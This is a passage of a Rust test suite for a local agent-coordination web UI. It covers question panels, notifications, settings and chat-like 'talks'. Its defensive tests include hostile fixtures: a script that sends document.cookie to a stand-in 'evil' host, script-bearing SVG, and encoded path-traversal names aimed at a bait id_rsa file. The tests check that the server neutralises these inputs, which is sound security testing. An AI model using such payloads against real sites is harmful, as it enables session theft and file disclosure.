7122 for _ in 0..SETTLE_STEPS {
7123 let view = fx.get("/api/loop").await.json();
7124 if want(&view) {
7125 return view;
7126 }
7127 tokio::time::sleep(Duration::from_millis(10)).await;
7128 }
7129 panic!(
7130 "the loop never settled: {}",
7131 fx.get("/api/loop").await.json()
7132 );
7133 }
7134
7135 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7137 let store = fx.questions();
7138 let mut q = Question::new(
7139 "20260902-000000-beef".to_owned(),
7140 "implement".to_owned(),
7141 "impl-A".to_owned(),
7142 summary.to_owned(),
7143 "because it matters".to_owned(),
7144 choices.iter().map(|c| (*c).to_owned()).collect(),
7145 );
7146 store.put(&mut q).expect("put question");
7147 q.id
7148 }
7149
7150 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7156 let store = fx.questions();
7157 let mut q = Question::new(
7158 "20260902-000000-beef".to_owned(),
7159 "land".to_owned(),
7160 "fix".to_owned(),
7161 "Merge this?".to_owned(),
7162 "the diff is in the panel".to_owned(),
7163 vec!["merge".to_owned(), "hold".to_owned()],
7164 );
7165 let staging = fx.home.path().join("staging");
7168 std::fs::create_dir_all(&staging).expect("staging dir");
7169 let sources: Vec<PathBuf> = assets
7170 .iter()
7171 .map(|(name, bytes)| {
7172 let path = staging.join(name);
7173 std::fs::write(&path, bytes).expect("write staged asset");
7174 path
7175 })
7176 .collect();
7177 store
7178 .put_panel(&mut q, html, &sources)
7179 .expect("write the panel");
7180 store.put(&mut q).expect("put question");
7181 q.id
7182 }
7183
7184 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7193 let store = fx.talks();
7194 std::fs::create_dir_all(store.root()).expect("talks dir");
7195 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7196 .expect("serialize a seat");
7197 let body = serde_json::json!({
7198 "schema": 1,
7199 "id": id,
7200 "repo": "/repo/magi",
7201 "agent": "mock",
7202 "status": status,
7203 "turns": [],
7204 "created_at": Timestamp::now().to_string(),
7205 "updated_at": Timestamp::now().to_string(),
7206 "seat": seat,
7207 });
7208 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7209 store.get(id).expect("the seeded talk has to be readable");
7210 id.to_owned()
7211 }
7212
7213 #[tokio::test]
7214 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7215 let fx = Fixture::start().await;
7216 let id = panel(
7217 &fx,
7218 "<h1>Merge?</h1><img src=\"diff.svg\">",
7219 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7220 );
7221
7222 for path in [
7223 format!("/api/questions/{id}/panel"),
7224 format!("/api/questions/{id}/asset/diff.svg"),
7225 ] {
7226 let res = fx.get(&path).await;
7227 assert_eq!(res.status, 200, "{path}: {}", res.body);
7228 assert_eq!(
7234 res.header("content-security-policy"),
7235 Some(
7236 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7237 font-src data:; base-uri 'none'; form-action 'none'; \
7238 frame-ancestors 'self'"
7239 ),
7240 "{path} is the only thing between a hostile panel and the tailnet"
7241 );
7242 assert_eq!(
7243 res.header("x-content-type-options"),
7244 Some("nosniff"),
7245 "{path}: a browser must not re-decide the type we sent"
7246 );
7247 assert_eq!(
7248 res.header("referrer-policy"),
7249 Some("no-referrer"),
7250 "{path}: a panel must not leak the question id off the machine"
7251 );
7252
7253 let pre = fx.head(&path).await;
7258 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7259 assert_eq!(
7260 pre.header("content-security-policy"),
7261 res.header("content-security-policy"),
7262 "{path}: the preflight carries the same policy"
7263 );
7264 assert_eq!(
7265 pre.header("content-type"),
7266 res.header("content-type"),
7267 "{path}: the preflight carries the same type"
7268 );
7269 }
7270 }
7271
7272 #[tokio::test]
7273 async fn a_panel_reaches_the_browser_byte_for_byte() {
7274 let fx = Fixture::start().await;
7275 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7280 let id = panel(&fx, html, &[]);
7281
7282 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7283
7284 assert_eq!(res.status, 200);
7285 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7286 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7287 assert_eq!(
7288 res.header("content-disposition"),
7289 None,
7290 "the panel itself is rendered in the frame, not downloaded"
7291 );
7292 }
7293
7294 #[tokio::test]
7295 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7296 let fx = Fixture::start().await;
7297 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7298 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7299 let id = panel(
7300 &fx,
7301 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7302 &[("diff.svg", svg), ("shot.png", png)],
7303 );
7304
7305 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7306 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7307
7308 assert_eq!(as_svg.status, 200);
7309 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7310 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7315
7316 assert_eq!(as_png.status, 200);
7317 assert_eq!(as_png.header("content-type"), Some("image/png"));
7318 assert_eq!(
7319 as_png.header("content-disposition"),
7320 None,
7321 "a raster image has no execution surface, so tapping it still shows it"
7322 );
7323 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7324 }
7325
7326 #[tokio::test]
7327 async fn an_html_asset_is_never_served_as_html() {
7328 let fx = Fixture::start().await;
7329 let id = panel(
7330 &fx,
7331 "<p>see the notes</p>",
7332 &[
7333 (
7334 "notes.html",
7335 b"<script>fetch('http://evil/'+document.cookie)</script>",
7336 ),
7337 ("hook.js", b"fetch('http://evil/')"),
7338 ("data.json", b"{}"),
7339 ("HEADLINE.TXT", b"plain"),
7340 ],
7341 );
7342
7343 for name in ["notes.html", "hook.js", "data.json"] {
7344 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7345 assert_eq!(res.status, 200, "{name}: {}", res.body);
7346 assert_eq!(
7351 res.header("content-type"),
7352 Some("application/octet-stream"),
7353 "{name} must not be a type the browser will execute or render"
7354 );
7355 }
7356 let txt = fx
7359 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7360 .await;
7361 assert_eq!(
7362 txt.header("content-type"),
7363 Some("text/plain; charset=utf-8")
7364 );
7365 }
7366
7367 #[tokio::test]
7368 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7369 let fx = Fixture::start().await;
7370 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7371 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7375
7376 for encoded in [
7383 "%2e%2e%2fid_rsa",
7384 "..%2fid_rsa",
7385 "..%5cid_rsa",
7386 "%2e%2e%5cid_rsa",
7387 "diff%00.svg",
7388 "..",
7389 ".hidden",
7390 "%2e%2e%2f%2e%2e%2fid_rsa",
7391 ] {
7392 let res = fx
7393 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7394 .await;
7395 assert_eq!(
7396 res.status, 400,
7397 "`{encoded}` has to be refused by name, not looked up: {}",
7398 res.body
7399 );
7400 assert!(res.json()["error"].is_string(), "{}", res.body);
7401 }
7402
7403 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7409 let res = fx
7410 .get(&format!("/api/questions/{id}/asset/{literal}"))
7411 .await;
7412 assert_eq!(
7413 res.status, 404,
7414 "`{literal}` must not match the asset route at all: {}",
7415 res.body
7416 );
7417 }
7418 }
7419
7420 #[tokio::test]
7421 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7422 let fx = Fixture::start().await;
7423 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7424 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7425
7426 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7430 assert_eq!(none.status, 404, "{}", none.body);
7431 assert!(none.json()["error"].is_string(), "{}", none.body);
7432 assert_eq!(
7433 fx.head(&format!("/api/questions/{plain}/panel"))
7434 .await
7435 .status,
7436 404,
7437 "the preflight is the only way the client can learn this"
7438 );
7439
7440 let missing = fx
7442 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7443 .await;
7444 assert_eq!(missing.status, 404, "{}", missing.body);
7445 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7446
7447 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7449 assert_eq!(
7450 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7451 404
7452 );
7453 }
7454
7455 #[tokio::test]
7456 async fn a_run_with_an_open_question_reads_as_waiting() {
7457 let fx = Fixture::start().await;
7458 let run = "20260902-000000-beef".to_owned();
7459 write_run(&fx.runs(), &run, RunStatus::Implementing);
7460
7461 let before = fx.get("/api/runs").await.json();
7462 assert_eq!(before[0]["waiting"], false, "{before}");
7463
7464 let store = fx.questions();
7465 let mut q = Question::new(
7466 run.clone(),
7467 "implement".to_owned(),
7468 "impl-A".to_owned(),
7469 "Which backend?".to_owned(),
7470 String::new(),
7471 vec!["SQLite".to_owned()],
7472 );
7473 store.put(&mut q).expect("put");
7474
7475 let during = fx.get("/api/runs").await.json();
7476 assert_eq!(during[0]["waiting"], true, "{during}");
7477
7478 q.answer(Answer::Choice("SQLite".to_owned()))
7481 .expect("answer");
7482 store.put(&mut q).expect("put");
7483 let after = fx.get("/api/runs").await.json();
7484 assert_eq!(after[0]["waiting"], false, "{after}");
7485 }
7486
7487 #[tokio::test]
7488 async fn an_open_question_is_listed_and_counted_by_health() {
7489 let fx = Fixture::start().await;
7490 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7491
7492 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7493 let listed = fx.get("/api/questions").await.json();
7494 assert_eq!(listed.as_array().expect("array").len(), 1);
7495 assert_eq!(listed[0]["id"], id);
7496 assert_eq!(listed[0]["status"], "open");
7497 assert_eq!(listed[0]["choices"][1], "Redis");
7498 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7501 }
7502
7503 #[tokio::test]
7504 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7505 let fx = Fixture::start().await;
7506 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7507 let path = format!("/api/questions/{id}/answer");
7508
7509 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7510 assert_eq!(res.status, 200, "{}", res.body);
7511 let body = res.json();
7512 assert_eq!(body["status"], "answered");
7513 assert_eq!(body["answer"]["choice"], "Redis");
7514
7515 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7519 assert_eq!(again.status, 409, "{}", again.body);
7520 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7521 }
7522
7523 #[tokio::test]
7524 async fn saying_something_appends_a_turn_without_answering() {
7525 let fx = Fixture::start().await;
7526 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7527 let path = format!("/api/questions/{id}/say");
7528
7529 let res = fx
7530 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7531 .await;
7532 assert_eq!(res.status, 200, "{}", res.body);
7533 let body = res.json();
7534 assert_eq!(body["status"], "open", "talking back is not a decision");
7535 assert_eq!(body["answer"], Value::Null);
7536 assert_eq!(body["thread"][0]["who"], "operator");
7537 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7538 assert_eq!(body["waiting_on_agent"], true);
7539 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7541 }
7542
7543 #[tokio::test]
7544 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7545 let fx = Fixture::start().await;
7546 let store = fx.questions();
7547 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7548 assert_eq!(
7549 fx.get("/api/health").await.json()["questions_needs_owner"],
7550 1
7551 );
7552
7553 let res = fx
7559 .post(
7560 &format!("/api/questions/{id}/say"),
7561 Some(r#"{"body":"why not Postgres?"}"#),
7562 )
7563 .await;
7564 assert_eq!(res.status, 200, "{}", res.body);
7565 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7566 assert_eq!(
7567 fx.get("/api/health").await.json()["questions_needs_owner"],
7568 0,
7569 "waiting on the agent is not waiting on the owner"
7570 );
7571
7572 let mut q = store.get(&id).expect("get");
7576 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7577 .expect("reply");
7578 store.put(&mut q).expect("put");
7579 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7580 assert_eq!(
7581 fx.get("/api/health").await.json()["questions_needs_owner"],
7582 1,
7583 "the agent's reply is what should light the banner back up"
7584 );
7585 }
7586
7587 #[tokio::test]
7588 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7589 let fx = Fixture::start().await;
7590 let store = fx.questions();
7591
7592 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7593 let res = fx
7594 .post(
7595 &format!("/api/questions/{empty_id}/say"),
7596 Some(r#"{"body":" "}"#),
7597 )
7598 .await;
7599 assert_eq!(res.status, 400, "{}", res.body);
7600
7601 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7602 let mut answered = store.get(&answered_id).expect("get");
7603 answered
7604 .answer(Answer::Choice("SQLite".to_owned()))
7605 .expect("answer");
7606 store.put(&mut answered).expect("put");
7607 let res = fx
7608 .post(
7609 &format!("/api/questions/{answered_id}/say"),
7610 Some(r#"{"body":"still there?"}"#),
7611 )
7612 .await;
7613 assert_eq!(res.status, 409, "{}", res.body);
7614
7615 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7616 let mut abandoned = store.get(&abandoned_id).expect("get");
7617 abandoned.abandon("timed out");
7618 store.put(&mut abandoned).expect("put");
7619 let res = fx
7620 .post(
7621 &format!("/api/questions/{abandoned_id}/say"),
7622 Some(r#"{"body":"still there?"}"#),
7623 )
7624 .await;
7625 assert_eq!(res.status, 409, "{}", res.body);
7626 }
7627
7628 #[tokio::test]
7629 async fn an_answer_the_question_does_not_offer_is_refused() {
7630 let fx = Fixture::start().await;
7631 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7632 let path = format!("/api/questions/{id}/answer");
7633
7634 for body in [
7635 r#"{"choice":"Postgres"}"#,
7636 r#"{"text":"whatever you think"}"#,
7637 r#"{"choice":"Redis","text":"both"}"#,
7638 r#"{}"#,
7639 ] {
7640 let res = fx.post(&path, Some(body)).await;
7641 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7642 assert!(res.json()["error"].is_string(), "{}", res.body);
7643 }
7644 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7646 }
7647
7648 #[tokio::test]
7649 async fn a_free_text_question_takes_text_and_not_a_choice() {
7650 let fx = Fixture::start().await;
7651 let id = ask(&fx, "What should the flag be called?", &[]);
7652 let path = format!("/api/questions/{id}/answer");
7653
7654 assert_eq!(
7655 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7656 400
7657 );
7658 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7659 assert_eq!(res.status, 200, "{}", res.body);
7660 assert_eq!(res.json()["answer"]["text"], "--json");
7661 }
7662
7663 #[tokio::test]
7664 async fn an_unknown_question_is_a_json_404() {
7665 let fx = Fixture::start().await;
7666 let res = fx
7667 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7668 .await;
7669 assert_eq!(res.status, 404, "{}", res.body);
7670 assert!(res.json()["error"].is_string());
7671 }
7672
7673 #[tokio::test]
7674 async fn notifications_list_read_dismiss_and_health_agree() {
7675 let fx = Fixture::start().await;
7676 let store = Notices::at(fx.home.path().join("notifications"));
7677 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7678 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7679
7680 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7681 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7682
7683 let health = fx.get("/api/health").await.json();
7684 assert_eq!(health["notifications_unread"], 2);
7685 assert_ne!(
7686 health["notifications_rev"], rev0,
7687 "the badge must move live"
7688 );
7689
7690 let listed = fx.get("/api/notifications").await.json();
7691 assert_eq!(listed["unread"], 2);
7692 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7693 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7694
7695 let read = fx
7696 .post(&format!("/api/notifications/{}/read", a.id), None)
7697 .await;
7698 assert_eq!(read.status, 200, "{}", read.body);
7699 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7700
7701 let gone = fx
7702 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7703 .await;
7704 assert_eq!(gone.status, 200, "{}", gone.body);
7705 let listed = fx.get("/api/notifications").await.json();
7706 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7707 assert_eq!(listed["unread"], 0);
7708
7709 store.raise(Notice::info("x", "again")).unwrap();
7710 let all = fx.post("/api/notifications/read-all", None).await;
7711 assert_eq!(all.status, 200, "{}", all.body);
7712 assert_eq!(all.json()["marked"], 1);
7713 assert_eq!(
7714 fx.get("/api/health").await.json()["notifications_unread"],
7715 0
7716 );
7717
7718 let missing = fx.post("/api/notifications/nope/read", None).await;
7719 assert_eq!(missing.status, 404, "{}", missing.body);
7720 assert!(missing.json()["error"].is_string());
7721 }
7722
7723 #[tokio::test]
7730 async fn a_task_cannot_be_filed_over_the_phone_directly() {
7731 let f = Fixture::start().await;
7732
7733 let res = f
7734 .post(
7735 "/api/queue",
7736 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7737 )
7738 .await;
7739
7740 assert_eq!(
7741 res.status, 405,
7742 "POST /api/queue must not be a route: {}",
7743 res.body
7744 );
7745 assert!(
7746 f.queue().list().is_empty(),
7747 "a task filed by a route that does not exist must not reach the disk"
7748 );
7749 assert_eq!(f.get("/api/queue").await.status, 200);
7752 }
7753
7754 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7756 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7757 .expect("checkout dir");
7758 }
7759
7760 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7762
7763 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7764 let tmp = TempDir::new().expect("tempdir");
7765 let repo = tmp.path().join("repo");
7766 std::fs::create_dir_all(&repo).expect("repo dir");
7767 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7768 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7769 if let Some(text) = machine_toml {
7770 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7771 std::fs::write(&machine, text).expect("machine toml");
7772 }
7773 (tmp, repo, machine)
7774 }
7775
7776 #[tokio::test]
7777 async fn settings_get_reports_sources_and_the_advisors_fallback() {
7778 let (_tmp, repo, machine) =
7779 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7780 let f = Fixture::with_repo_and_machine(repo, machine).await;
7781 let res = f.get("/api/settings").await;
7782 assert_eq!(res.status, 200, "{}", res.body);
7783 let v = res.json();
7784 assert!(v["error"].is_null(), "{v}");
7785 let role = |k: &str| {
7786 v["roles"]
7787 .as_array()
7788 .and_then(|r| r.iter().find(|x| x["key"] == k))
7789 .cloned()
7790 .unwrap_or_else(|| panic!("no role {k}: {v}"))
7791 };
7792 assert_eq!(role("judges")["source"], "machine");
7793 assert_eq!(role("judges")["editable"], true);
7794 assert_eq!(role("implementers")["source"], "default");
7795 let adv = role("advisors");
7796 assert_eq!(adv["fallback"], "judges");
7797 assert!(
7798 adv["seats"]
7799 .as_array()
7800 .is_some_and(|s| s.iter().all(|x| x == "b")),
7801 "{adv}"
7802 );
7803 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7804 assert_eq!(v["agents"][0]["source"], "repo");
7805 }
7806
7807 #[tokio::test]
7808 async fn settings_get_reports_a_config_that_does_not_parse() {
7809 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7810 let f = Fixture::with_repo_and_machine(repo, machine).await;
7811 let res = f.get("/api/settings").await;
7812 assert_eq!(res.status, 200, "{}", res.body);
7813 let v = res.json();
7814 assert!(v["error"]["message"].is_string(), "{v}");
7815 assert!(
7816 v["error"]["path"]
7817 .as_str()
7818 .is_some_and(|p| p.ends_with("magi.toml")),
7819 "{v}"
7820 );
7821 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7822 }
7823
7824 #[tokio::test]
7825 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7826 let (_tmp, repo, machine) = settings_dirs(
7827 SETTINGS_AGENTS,
7828 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
7829 );
7830 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7831 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7832 let rev = f.get("/api/settings").await.json()["revision"]
7833 .as_str()
7834 .expect("revision")
7835 .to_owned();
7836 let body = serde_json::json!({
7837 "revision": rev,
7838 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7839 })
7840 .to_string();
7841 let res = f.put("/api/settings/roles", &body).await;
7842 assert_eq!(res.status, 200, "{}", res.body);
7843 let text = std::fs::read_to_string(&machine).expect("machine");
7844 assert_eq!(
7845 text,
7846 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7847 );
7848 assert_eq!(
7849 std::fs::read(repo.join("magi.toml")).expect("read"),
7850 repo_before
7851 );
7852 let again = f.get("/api/settings").await.json();
7853 let judges = again["roles"]
7854 .as_array()
7855 .expect("roles")
7856 .iter()
7857 .find(|r| r["key"] == "judges")
7858 .expect("judges")
7859 .clone();
7860 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7861 let stale = f.put("/api/settings/roles", &body).await;
7863 assert_eq!(stale.status, 409, "{}", stale.body);
7864 }
7865
7866 #[tokio::test]
7867 async fn settings_put_refuses_without_touching_the_file() {
7868 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7869 let (_tmp, repo, machine) = settings_dirs(
7870 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7871 Some(machine_text),
7872 );
7873 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7874 let rev = f.get("/api/settings").await.json()["revision"]
7875 .as_str()
7876 .expect("revision")
7877 .to_owned();
7878 for roles in [
7879 serde_json::json!({ "judges": ["nope"] }),
7880 serde_json::json!({ "reviewers": ["b"] }),
7881 serde_json::json!({ "bogus": ["a"] }),
7882 ] {
7883 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7884 let res = f.put("/api/settings/roles", &body).await;
7885 assert_eq!(res.status, 422, "{roles}: {}", res.body);
7886 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7887 assert_eq!(
7888 std::fs::read_to_string(&machine).expect("machine"),
7889 machine_text
7890 );
7891 }
7892 }
7893
7894 #[tokio::test]
7895 async fn repos_list_returns_name_and_path_for_every_configured_root() {
7896 let tmp = TempDir::new().expect("tempdir");
7897 let repo = tmp.path().join("repo");
7898 std::fs::create_dir_all(&repo).expect("repo dir");
7899 let root = tmp.path().join("root");
7900 make_checkout(&root, "github.com", "yukimemi", "magi");
7901 std::fs::write(
7902 repo.join("magi.toml"),
7903 format!(
7904 "[repos]\nroots = [{:?}]\n",
7905 root.to_string_lossy().into_owned()
7906 ),
7907 )
7908 .expect("write magi.toml");
7909
7910 let f = Fixture::with_repo(repo).await;
7911 let res = f.get("/api/repos").await;
7912 assert_eq!(res.status, 200, "{}", res.body);
7913 let list = res.json();
7914 let repos = list.as_array().expect("an array");
7915 assert_eq!(repos.len(), 1);
7916 assert_eq!(repos[0]["name"], "yukimemi/magi");
7917 assert!(
7918 repos[0]["path"]
7919 .as_str()
7920 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
7921 "{list}"
7922 );
7923 }
7924
7925 #[tokio::test]
7926 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
7927 let tmp = TempDir::new().expect("tempdir");
7928 let repo = tmp.path().join("repo");
7929 std::fs::create_dir_all(&repo).expect("repo dir");
7930 let root = tmp.path().join("root");
7931 make_checkout(&root, "github.com", "yukimemi", "magi");
7932 std::fs::write(
7933 repo.join("magi.toml"),
7934 format!(
7935 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
7936 root.to_string_lossy().into_owned()
7937 ),
7938 )
7939 .expect("write magi.toml");
7940
7941 let f = Fixture::with_repo(repo).await;
7942 let first = f.get("/api/repos").await;
7943 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
7944
7945 make_checkout(&root, "github.com", "yukimemi", "rvpm");
7948 let second = f.get("/api/repos").await;
7949 assert_eq!(
7950 second.json().as_array().map(Vec::len),
7951 Some(1),
7952 "a fresh cache must not rescan inside the TTL"
7953 );
7954
7955 let refreshed = f.get("/api/repos?refresh=1").await;
7956 assert_eq!(
7957 refreshed.json().as_array().map(Vec::len),
7958 Some(2),
7959 "an explicit refresh must rescan even inside the TTL"
7960 );
7961 }
7962
7963 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
7969
7970 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
7974 let tmp = TempDir::new().expect("tempdir");
7975 let repo = tmp.path().join("repo");
7976 std::fs::create_dir_all(&repo).expect("repo dir");
7977 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7978 let f = Fixture::with_repo(repo.clone()).await;
7979 (tmp, repo, f)
7980 }
7981
7982 #[tokio::test]
7983 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
7984 let (_tmp, _repo, f) = talk_fixture().await;
7985
7986 let opened = f.post("/api/talks", None).await;
7989 assert_eq!(opened.status, 201, "{}", opened.body);
7990 let body = opened.json();
7991 assert_eq!(body["status"], "open");
7992 assert_eq!(
7993 body["turns"].as_array().unwrap().len(),
7994 0,
7995 "opening takes no agent turn: there is nothing yet to answer"
7996 );
7997
7998 let also_opened = f.post("/api/talks", Some("{}")).await;
8000 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8001
8002 let listed = f.get("/api/talks").await.json();
8003 assert_eq!(listed.as_array().unwrap().len(), 2);
8004 }
8005
8006 #[tokio::test]
8007 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8008 let tmp = TempDir::new().expect("tempdir");
8009 let repo = tmp.path().join("repo");
8010 std::fs::create_dir_all(&repo).expect("repo dir");
8011 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8012 std::fs::write(
8013 repo.join("magi.toml"),
8014 format!("{MOCK_AGENT_TOML}\n{second}"),
8015 )
8016 .expect("write magi.toml");
8017 let home = TempDir::new().expect("temp home");
8018 let talks = Talks::at(home.path().join("talks"));
8019 let ui = Arc::new(
8020 Ui::new(
8021 Queue::at(home.path().join("queue")),
8022 Questions::at(home.path().join("questions")),
8023 talks.clone(),
8024 home.path().join("runs"),
8025 home.path().to_path_buf(),
8026 repo.clone(),
8027 )
8028 .with_worktrees_root(home.path().join("wt")),
8029 );
8030 let cfg = config_for(&repo).await.expect("discover config");
8031 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8032 let id = talk.id.clone();
8033 let call = |agent: &str| {
8034 talk_agent(
8035 State(Arc::clone(&ui)),
8036 Path(id.clone()),
8037 Json(TalkAgent {
8038 agent: agent.to_owned(),
8039 }),
8040 )
8041 };
8042
8043 let unknown = call("nobody").await.expect_err("unknown agent");
8044 assert_eq!(
8045 unknown.status,
8046 StatusCode::BAD_REQUEST,
8047 "{}",
8048 unknown.message
8049 );
8050
8051 {
8052 let mut claimed = None;
8055 for _ in 0..200 {
8056 claimed = ui.begin_talk_turn(&id).expect("claim");
8057 if claimed.is_some() {
8058 break;
8059 }
8060 tokio::time::sleep(Duration::from_millis(10)).await;
8061 }
8062 let _busy = claimed.expect("free");
8063 let busy = call("second").await.expect_err("busy talk");
8064 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8065 }
8066 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8067
8068 let Json(view) = call("second").await.expect("switch");
8069 assert_eq!(view.talk.agent, "second");
8070 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8071 let saved = talks.get(&id).expect("reload");
8072 assert_eq!(saved.agent, "second");
8073 assert_eq!(saved.turns.len(), 1);
8074
8075 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8076 .await
8077 .expect("detail");
8078 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8079 assert_eq!(roster, ["mock", "second"]);
8080
8081 let mut closed = talks.get(&id).expect("reload");
8082 talk::close(&mut closed, &talks).expect("close");
8083 let refused = call("mock").await.expect_err("closed talk");
8084 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8085 }
8086
8087 #[tokio::test]
8088 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
